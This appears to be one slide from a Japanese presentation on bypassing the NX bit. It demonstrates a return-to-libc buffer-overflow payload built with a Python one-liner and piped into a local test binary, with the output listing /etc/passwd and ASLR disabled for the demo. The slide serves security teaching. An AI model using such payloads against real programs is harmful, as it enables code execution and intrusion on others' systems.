<< 35/52 >>
First Last

反撃手法 - NX bit

NX bit が立っててスタックに置いたコードが実行できないなら
プログラムに元々あるコードを利用してやりたいことをやる

 ( '-') python -c 'print "x"*(76) + "\x00\x83\x04\x08" + \
   "\x00\x00\x00\x00" + "\xd8\xd4\xff\xff" + "ls -l /etc/passwd\x00"
   ' > shine
 ( '-') cat shine | ./a.out
 -rw-r--r-- 1 root root 2038 Jan 14 14:00 /etc/passwd
 zsh: done                cat shine |
 zsh: segmentation fault  ./a.out

(面倒なので ASLR は切ってあります)